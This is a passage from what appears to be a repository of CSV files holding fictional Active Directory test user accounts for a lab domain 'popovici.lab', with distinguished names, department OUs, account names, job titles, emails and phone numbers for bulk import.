Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.paulo,Paulo,Pedro,Pedro Paulo,Analista de Suporte,pedro.paulo@popovici.lab,1198563-8575,www.eduardopopovici.com 10 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.pedro.paulo,Paulo,Pedro,Pedro Paulo,Analista de Suporte,adm.pedro.paulo@popovici.lab,1198563-8576,www.eduardopopovici.com 11 | "CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",alison.barbosa,Barbosa,Alison,Alison Barbosa,Analista de Suporte,alison.barbosa@popovici.lab,1198563-8577,www.eduardopopovici.com 12 | "CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erica.carvalho,Carvalho,Erica,Erica Carvalho,Analista de DP,erica.carvalho@popovici.lab,1198563-8578,www.eduardopopovici.com 13 | "CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.paula,Paula,Ana,Ana Paula,Coordenador,ana.paula@popovici.lab,1198563-8579,www.eduardopopovici.com 14 | "CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",maria.luiza,Luiza,Maria,Maria Luiza,Vendedor,maria.luiza@popovici.lab,1198563-8580,www.eduardopopovici.com 15 | "CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ranieri.palermo,Palermo,Ranieri,Ranieri Palermo,Diretor Geral,ranieri.palermo@popovici.lab,1198563-8581,www.eduardopopovici.com 16 | "CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pablo.liso,Liso,Pablo,Pablo Liso,Zelador,pablo.liso@popovici.lab,1198563-8582,www.eduardopopovici.com 17 | "CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renato.souza,Souza,Renato,Renato Souza,Vendedor,renato.souza@popovici.lab,1198563-8583,www.eduardopopovici.com 18 | "CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pamela.andrade,Andrade,Pamela,Pamela Andrade,Vendedor,pamela.andrade@popovici.lab,1198563-8584,www.eduardopopovici.com 19 | "CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",laura.mazutti,Mazutti,Laura,Laura Mazutti,Atendente,laura.mazutti@popovici.lab,1198563-8585,www.eduardopopovici.com 20 | "CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erika.pauluci,Pauluci,Erika,Erika Pauluci,Atendente,erika.pauluci@popovici.lab,1198563-8586,www.eduardopopovici.com 21 | "CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",rick.brabo,Brabo,Rick,Rick Brabo,Atendente,rick.brabo@popovici.lab,1198563-8587,www.eduardopopovici.com 22 | "CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renner.lima,Lima,Renner,Renner Lima,Atendente,renner.lima@popovici.lab,1198563-8588,www.eduardopopovici.com 23 | "CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",penelope.charmosa,Charmosa,Penelope,Penelope Charmosa,Atendente,penelope.charmosa@popovici.lab,1198563-8589,www.eduardopopovici.com 24 | "CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulo.bravo,Bravo,Paulo,Paulo Bravo,Analista de Qualidade,paulo.bravo@popovici.lab,1198563-8590,www.eduardopopovici.com 25 | "CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jony.bravo,Bravo,Jony,Jony Bravo,Analista de Qualidade,jony.bravo@popovici.lab,1198563-8591,www.eduardopopovici.com 26 | "CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",cristina.santos,Santos,Cristina,Cristina Santos,Dev Phyton,cristina.santos@popovici.lab,1198563-8592,www.eduardopopovici.com 27 | "CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pietro.lopes,Lopes,Pietro,Pietro Lopes,Dev Phyton,pietro.lopes@popovici.lab,1198563-8593,www.eduardopopovici.com 28 | "CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",peterson.souza,Souza,Peterson,Peterson Souza,Dev Java,peterson.souza@popovici.lab,1198563-8594,www.eduardopopovici.com 29 | "CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",luciana.santos,Santos,Luciana,Luciana Santos,Anl Seguranca I,luciana.santos@popovici.lab,1198563-8595,www.eduardopopovici.com 30 | "CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",mariana.ribeiro,Ribeiro,Mariana,Mariana Ribeiro,Anl Seguranca III,mariana.ribeiro@popovici.lab,1198563-8596,www.eduardopopovici.com 31 | "CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.penso,Penso,Pedro,Pedro Penso,Pentester,pedro.penso@popovici.lab,1198563-8597,www.eduardopopovici.com 32 | "CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulinha.ribeiro,Ribeiro,Paulinha,Paulinha Ribeiro,Penterter,paulinha.ribeiro@popovici.lab,1198563-8598,www.eduardopopovici.com 33 | "CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",rita.remo,Remo,Rita,Rita Remo,Comprador,rita.remo@popovici.lab,1198563-8599,www.eduardopopovici.com 34 | "CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",luca.silva,Silva,Luca,Luca Silva,Comprador,luca.silva@popovici.lab,1198563-8600,www.eduardopopovici.com 35 | "CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",patricia.silva,Silva,Patricia,Patricia Silva,Comprador,patricia.silva@popovici.lab,1198563-8601,www.eduardopopovici.com 36 | "CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",peterpan.cabreiro,Cabreiro,Peterpan,Peterpan Cabreiro,Coordenador - Compras e Vendas,peterpan.cabreiro@popovici.lab,1198563-8602,www.eduardopopovici.com 37 | "CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",max.amui,Amui,Max,Max Amui,DBA,max.amui@popovici.lab,1198563-8603,www.eduardopopovici.com 38 | "CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.ricardo,Ricardo,Jose,Jose Ricardo,DBA,jose.ricardo@popovici.lab,1198563-8604,www.eduardopopovici.com 39 | "CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renata.limeira,Limeira,Renata,Renata Limeira,Atendente,renata.limeira@popovici.lab,1198563-8605,www.eduardopopovici.com 40 | "CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.panca,Panca,Jose,Jose Panca,Atendente,jose.panca@popovici.lab,1198563-8606,www.eduardopopovici.com 41 | "CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",flavio.ricardo,Ricardo,Flavio,Flavio Ricardo,Diretor Executivo,flavio.ricardo@popovici.lab,1198563-8607,www.eduardopopovici.com 42 | -------------------------------------------------------------------------------- /SCRIPT-USUARIOS-TESTE-1.csv: -------------------------------------------------------------------------------- 1 | DN,objectClass,distinguishedName,sAMAccountName,sn,givenname,userPrincipalName 2 | "CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.rodolfo.pericles,Pericles,Rodolfo,Rodolfo Pericles 3 | "CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adan.lira,Lira,Adan,Adan Lira 4 | "CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",emerson.ranolfo,Ranolfo,Emerson,Emerson Ranolfo 5 | "CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",liza.simpson,Simpson,Liza,Liza Simpson 6 | "CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",epaminondas.lima,Lima,Epaminondas,Epaminondas Lima 7 | "CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",joanesio.limeira,Limeira,Joanesio,Joanesio Limeira 8 | "CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.lucia,Lucia,Ana,Ana Lucia 9 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.paulo,Paulo,Pedro,Pedro Paulo 10 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.pedro.paulo,Paulo,Pedro,Pedro Paulo 11 | "CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",alison.barbosa,Barbosa,Alison,Alison Barbosa 12 | "CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erica.carvalho,Carvalho,Erica,Erica Carvalho 13 | "CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paula Ana,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.paula,Paula,Ana,Ana Paula 14 | "CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Luiza Maria,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",maria.luiza,Luiza,Maria,Maria Luiza 15 | "CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Palermo Ranieri,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ranieri.palermo,Palermo,Ranieri,Ranieri Palermo 16 | "CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Liso Pablo,OU=ZELADORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pablo.liso,Liso,Pablo,Pablo Liso 17 | "CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Renato,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renato.souza,Souza,Renato,Renato Souza 18 | "CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Andrade Pamela,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pamela.andrade,Andrade,Pamela,Pamela Andrade 19 | "CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Mazutti Laura,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",laura.mazutti,Mazutti,Laura,Laura Mazutti 20 | "CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pauluci Erika,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",erika.pauluci,Pauluci,Erika,Erika Pauluci 21 | "CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Brabo Rick,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",rick.brabo,Brabo,Rick,Rick Brabo 22 | "CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Renner,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renner.lima,Lima,Renner,Renner Lima 23 | "CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Charmosa Penelope,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",penelope.charmosa,Charmosa,Penelope,Penelope Charmosa 24 | "CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Paulo,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulo.bravo,Bravo,Paulo,Paulo Bravo 25 | "CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Bravo Jony,OU=QUALIDADE,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jony.bravo,Bravo,Jony,Jony Bravo 26 | "CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Cristina,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",cristina.santos,Santos,Cristina,Cristina Santos 27 | "CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lopes Pietro,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pietro.lopes,Lopes,Pietro,Pietro Lopes 28 | "CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Souza Peterson,OU=DEV,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",peterson.souza,Souza,Peterson,Peterson Souza 29 | "CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Santos Luciana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",luciana.santos,Santos,Luciana,Luciana Santos 30 | "CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Mariana,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",mariana.ribeiro,Ribeiro,Mariana,Mariana Ribeiro 31 | "CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Penso Pedro,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.penso,Penso,Pedro,Pedro Penso 32 | "CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ribeiro Paulinha,OU=SEGURANCA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",paulinha.ribeiro,Ribeiro,Paulinha,Paulinha Ribeiro 33 | "CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Remo Rita,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",rita.remo,Remo,Rita,Rita Remo 34 | "CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Luca,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",luca.silva,Silva,Luca,Luca Silva 35 | "CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Silva Patricia,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",patricia.silva,Silva,Patricia,Patricia Silva 36 | "CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",user,"CN=Cabreiro Peterpan,OU=COMPRAS,OU=DEPTOS,OU=FILIAL-01-RJ,OU=02-FILIAIS,DC=popovici,DC=lab",peterpan.cabreiro,Cabreiro,Peterpan,Peterpan Cabreiro 37 | "CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Amui Max,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",max.amui,Amui,Max,Max Amui 38 | "CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Jose,OU=DB,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.ricardo,Ricardo,Jose,Jose Ricardo 39 | "CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Renata,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",renata.limeira,Limeira,Renata,Renata Limeira 40 | "CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Panca Jose,OU=TMKT,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",jose.panca,Panca,Jose,Jose Panca 41 | "CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ricardo Flavio,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",flavio.ricardo,Ricardo,Flavio,Flavio Ricardo 42 | -------------------------------------------------------------------------------- /SCRIPT-USUARIOS-TESTE-2.csv: -------------------------------------------------------------------------------- 1 | DN,objectClass,distinguishedName,sAMAccountName,sn,givenname,userPrincipalName,description,mail,telephoneNumber,wWWHomePage 2 | "CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Pericles Rodolfo,OU=INFRA,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.rodolfo.pericles,Pericles,Rodolfo,Rodolfo Pericles,Anl Infra II,adm.rodolfo.pericles@popovici.lab,1198563-8568,www.eduardopopovici.com 3 | "CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lira Adan,OU=DIRETORIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adan.lira,Lira,Adan,Adan Lira,Diretor de TI,adan.lira@popovici.lab,1198563-8569,www.eduardopopovici.com 4 | "CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Ranolfo Emerson,OU=RH,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",emerson.ranolfo,Ranolfo,Emerson,Emerson Ranolfo,Analista de RH,emerson.ranolfo@popovici.lab,1198563-8570,www.eduardopopovici.com 5 | "CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Simpson Liza,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",liza.simpson,Simpson,Liza,Liza Simpson,Analista de DP,liza.simpson@popovici.lab,1198563-8571,www.eduardopopovici.com 6 | "CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lima Epaminondas,OU=VENDAS,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",epaminondas.lima,Lima,Epaminondas,Epaminondas Lima,Vendedor,epaminondas.lima@popovici.lab,1198563-8572,www.eduardopopovici.com 7 | "CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Limeira Joanesio,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",joanesio.limeira,Limeira,Joanesio,Joanesio Limeira,Engenheiro I,joanesio.limeira@popovici.lab,1198563-8573,www.eduardopopovici.com 8 | "CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Lucia Ana,OU=ENGENHARIA,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",ana.lucia,Lucia,Ana,Ana Lucia,Estagiario,ana.lucia@popovici.lab,1198563-8574,www.eduardopopovici.com 9 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",pedro.paulo,Paulo,Pedro,Pedro Paulo,Analista de Suporte,pedro.paulo@popovici.lab,1198563-8575,www.eduardopopovici.com 10 | "CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Paulo Pedro,OU=N1,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",adm.pedro.paulo,Paulo,Pedro,Pedro Paulo,Analista de Suporte,adm.pedro.paulo@popovici.lab,1198563-8576,www.eduardopopovici.com 11 | "CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Barbosa Alison,OU=N2,OU=EQUIPES,OU=TI,OU=01-MATRIZ-SP,DC=popovici,DC=lab",alison.barbosa,Barbosa,Alison,Alison Barbosa,Analista de Suporte,alison.barbosa@popovici.lab,1198563-8577,www.eduardopopovici.com 12 | "CN=Carvalho Erica,OU=DP,OU=DEPTOS,OU=01-MATRIZ-SP,DC=popovici,DC=lab",user,"CN=Carvalho 